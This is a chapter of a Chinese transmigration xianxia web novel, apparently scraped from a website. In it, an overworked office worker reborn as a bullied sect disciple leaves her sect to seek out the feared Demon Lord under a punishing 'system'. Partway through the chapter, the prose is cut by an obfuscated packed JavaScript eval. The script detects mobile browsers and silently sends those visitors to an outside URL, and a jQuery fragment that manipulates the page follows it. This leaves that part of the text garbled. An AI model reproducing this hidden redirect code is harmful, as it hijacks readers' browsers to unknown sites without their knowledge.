仙门山,议事堂。
青天白日里,殿门紧闭,里面却爆发出激烈地争吵声。
殿外的人倒是听得无比清晰。
“喂喂,九师兄,看到什么了?师尊师叔们有没有打起来?”
说话的是刚入门不久的小师弟,他满脸兴奋地扯着老九衣袖问。
“唰——”
老九一只眼正透过纸窗上的洞,向里窥探。
他扯回衣袖,不紧不慢道:“二师叔说那魔头豢养的一头畜生生了病,发榜召集能人异士,但揭过榜的都叫他给杀了,二师叔主张讨伐他。”
“唰——”
“啊?”小师弟惊诧,“讨伐魔头?我、我可刚入师门,还不想死呢。”
“五师叔反驳,那魔头至今无人可敌,讨伐岂不送死。说那些为了名利而罔顾自己性命去揭榜的人,都是活该。”
“就是就是!”小师弟点头,极力认同。
老九继续补充:“七师叔气得拍案而起,他说区区魔头,竟无人敢管?!他还指着五师叔鼻子骂,说五师叔胆小怕事,枉为人师,怪不得六师叔看不上他。”
“唰唰——”
“噗哈哈哈,笑死……”小师弟捂着肚子笑,吃瓜吃得相当开心。
他目光忽然落在院子正中央,神色一变,“扫扫扫,你就知道扫,吵死了。”
池染拿着扫帚的手顿住,抬头,冷眼瞅他,“关你屁事!”
他感觉有点挂不住面子,便道:“十八师姐,听闻你资质平庸,才被师叔打发来干杂活。”他抱着臂,鼻孔朝天,“想来是师叔抹不开面子将你逐出师门,明日我便同我爹说,让他告诉师尊赶你出去。”
池染冷笑了下。
他愣了愣,“你笑什么?”
“信不信我现在就把你扫地出门。”说着,池染拎起扫帚就往他脚下狂扫。
“唰唰唰唰唰——”
一把扫帚让池染扫得虎虎生风,扫得对方连连后退。
老九看不下去,忍不住呵止:“你俩别闹了。”
“谁在外面!”突然,一道威严的声音从里面传出。
话音刚落,一阵疾风将门掀开,白色身影瞬间闪现至门外。
那股风吹得池染迷了眼,半天才勉强睁开。
老九和小师弟已然踪影全无。
好不容易扫成一撮撮的落叶,瞬间飘撒满地。
池染额角青筋跳了又跳。
白发老头目光锋利,面容严肃,他质问池染:“你是何人?方才可是你在门外偷听?”
“回清幽师尊,我是您收的第十八个弟子,池染。”她深吸口气,耐心解答。
“哦?”清幽似是几分诧异,而后恍然大悟,“对对,想起来了。不过你灵根平平,脑子呆笨,并无仙缘,竟还没走?”
他微眯着眼,捋了捋白须,“早些下山另谋出路,为师亦是为你好。”
“师尊说得是。”池染恭恭敬敬行礼鞠了个躬。
继而扬起下巴,一副不好惹的样子,破口大骂:“老子早就不想干了!买个下人还得给月钱,凭什么我免费当牛做马,去他玛德!”说完,她把扫把用力一扔,直接撂挑子走人。
在池染穿来之前,原主受了不少气,凭谁都能欺负她。
要不是被师弟师妹捉弄推到河中,染了风寒,掌管药房的师兄不肯给药,原主怎会病重而亡。
池染穿来后,要不是凭借惊人的意志力和现实世界学了些皮毛的中医知识,她恐怕要死第二次了。
病愈后,她第一件事便是找师尊禀明此事。
不曾想,清幽不为弟子讨回公道,却只问她,“为何他们只捉弄你,你不该反思一下是不是自己的问题?”
连师尊师叔们,都放任着睁一只眼闭一只眼默许。
原主能忍,她池染忍不了。
清幽气得吹胡子瞪眼睛,指着池染单薄的背影,说话都不利索了,“你、你你,你个孽障!”
池染大步流星走出仙门山,跨门槛时,一不小心卡了个大跟头。
下巴和手掌都擦破了皮。
她无奈叹气。
这已经是她穿来书中世界倒霉的第七天。
明明上一秒还在公司苦逼加班,下一秒她眼前一黑,就过劳死穿书。
这该死的狗血剧情。
而且是一本她没看过的古早仙侠虐恋小说。
更可恶的是,书中压根没有她这个人。
系统说,如果宿主不能及时接近任务目标,它会对宿主进行惩罚。
轻则倒霉,重则原地去世。
每天都在经历倒霉的池染只想骂人。
她还不想死。
只好问系统,自己的任务目标是谁?
系统迟疑片刻,才幽幽回答:魔界魔尊——夜神。
继承原主记忆的池染,听到夜神二字,心脏猛然一颤,遍体生寒。
如此强烈地反应,大抵是感受到原主内心深处的恐惧。
关于大魔头的传闻,简直完全疯魔化。
传说,他冷血无情,狂妄乖张。
残忍到连自己的师父都能杀到魂飞魄散、灰飞烟灭。
三百年前,他杀死自己师父后,为了报复,直奔天界,杀了无数仙君和天兵天将,血流成河。
最后,天界联合仙门三宗十二派,才堪堪逼退夜神。
天界因此元气大伤,休养数年,才得以恢复元气。
他们对夜神有忌惮、有畏惧、有惊恐,哪怕他恐怖如斯的力量被禁锢住一部分!
无人知晓他的身世,他与生俱来便拥有吸收天地间怨气的体质。
夜神杀红了眼,仅用短短三天,便一统魔界,成为魔界至高无上的尊主。
明明是魔,却称自己为神。
那三天,魔界沦为人间炼狱。
绝对力量的压制,让分崩离析的魔界众魔,彻底臣服。
而池染的主线任务,便是阻止大魔头毁天灭地的结局。
池染不禁“呵呵”,系统未免太看得起她。
不过,她没有别的选择,现实世界中的她已经噶了。
反正也回不去,倒不如先完成任务再说。
而首要任务,就是接近任务目标。
魔尊诶,大反派,拥有绝对力量。
倘若能抱紧大佬的大腿,岂不是再无人敢欺负自己。
如此想想,怪兴奋的。
池染一点都不留恋这个恃强凌弱的破仙门。
势必有一天,她会回来讨个公道!
思及此,池染起身,拍拍屁股上的土,感觉浑身上下都是劲儿。
系统助理不语,只觉得宿主脑袋有点什么大病。
对方可是杀人不眨眼的大魔头啊!
你兴奋啥呢……
当然,系统不敢打击宿主的积极性。
毕竟如果告诉她,一旦离任务目标超出安全距离,会自动开启惩罚机制。
还有一些让人欲罢不能、反复作死的小任务……
以池染的性格,必定能骂它八百回合。
系统的命也是命啊!
池染怀揣着希望和梦想,一路坎坷,终于来到魔界。
本以为魔界应该戾气极重,压抑灰暗,终日不见天日。
出乎意料的,魔界的天上,竟挂着一轮耀眼的太阳。
此时,日头正盛,毫不留情地炙烤着这片大地。
电视剧演的果然都是骗人的。
池染用糖葫芦成功诱骗来一个看起来很好欺负的小豆丁。
“小朋友,如果你能回答上姐姐的问题,这串糖葫芦可就是你的喽。”她尽可能地展露出亲切善意。
小豆丁眨了眨天真无邪的大眼睛,毫不犹豫地点点头。
“天上为什么有个太阳呢?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245493|197878||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小豆丁先是困惑,瞅瞅天,答道:“是魔尊大人嫌魔界太黑,特地将赤炎元君抓来,便可以晒太阳了。”
“那魔尊不嫌热吗?”池染才晒片刻,便已浑身湿黏不已。
“赤炎元君可是神仙,自然不肯屈服。但又逃不出去,就使坏,要热死我们。”
“噗……”池染忍不住笑出声。
听起来倒蛮有性格的。
“那魔尊发的榜是怎么回事?”她继续问。
小豆丁人不大,知道的不少,“魔尊的爱犬病了,魔界无人能医。即在三界发榜,若有能医治者,必有重赏。”
“天上地下许多人来揭榜,但无人将其治好,都被魔尊大人处死了。”
他顿了顿,自上而下打量池染,突感不对,“你是仙门中人?!”
“从此刻起,我就是魔界中人。”池染立刻倒戈。
小豆丁毫不在乎,只一味盯着她手中的糖葫芦,咽口水。
池染半蹲,挑眉,“想吃?”
小豆丁眼神锃亮,点点头。
池染笑了,慢慢递给他。
小豆丁刚要伸手接过来,池染以迅雷不及掩耳之势收回,快速舔了一舔。
“还想吃吗?”
小豆丁一张白净小脸气得圆鼓鼓的,攥紧了拳头。
面对池染那可恨的嘴脸,一拳挥舞出去。
池染避之不及,左眼被打得乌眼青。
——
让小豆丁胖揍一顿后,她开始深刻自我反省。
原主怎么能这么弱?
连个小屁孩都打不过。
小豆丁临走前不忘撂句狠话,“你这么弱,不配为魔界中人。”
本来只想逗一逗他,又没真舔。
做人果然不能太欠。
系统音适时响起:【宿主你有没有想过,这可能是你今日的倒霉惩罚呢?】
【还有再不接近任务目标,老子真怕你死这儿!】
系统助理突然炸毛,吼得池染耳朵嗡鸣,“知道啦,你急什么。”
来魔界一路耽搁不少时日。
为避免过于惹眼,她换掉仙门山的服饰,入乡随俗。
仙门山为了展现山门逼格,内门弟子均是云锦缎面的衣裳。
而外门弟子则是统一的青灰色暗纹素衫。
出于逆反心理,她特地选了一件张扬明艳的绯红色轻纱罗裙,瞬间衬得她气色红润。
她在眼尾挑了一抹微红眼线,像染了桃花般,多情且潋滟,眸光似薄雾轻笼。
完全掩盖住来时那一脸狼狈倒霉相。
摸了摸空荡荡的钱袋,这件衣裳花光了原主全部积蓄。
她暗暗祈祷,可一定要顺利接近到魔尊。
魔界都城夜神城,是以夜神的名字命名。
无处不在诠释着他至高无上的地位。
将“张狂”二字展现得淋漓尽致。
夜神城繁华喧闹,池染已经许久未曾感受过热闹的烟火气息。
她游走在人群中,大街小巷都在讨论着,已然三天无人敢来揭榜。
不知下一个会有怎样的下场。
虽然魔尊的恶名传得三界人尽皆知,亦有不少人贪图利益。
他们将张榜处围得水泄不通,都在犹豫观望,乃至互相谦让。
想让对方做第一个揭榜之人。
池染奋力挤入内围,黑纸金字,寥寥几句。
「魔宠病重,能治愈者,必有重赏。」
她暗自深吸口气,说不紧张是假的。
毕竟是拿自己的性命做赌注。
做好心理建设后,她终于缓缓向那张纸伸出手去。
围观者见有人动作,方圆百米内瞬间鸦雀无声,众人均是下意识屏住呼吸,时空仿佛凝滞了一般。
就在池染指尖触碰到纸张一角时,竟有人比她更快,干净利落地抢先一步揭下榜文!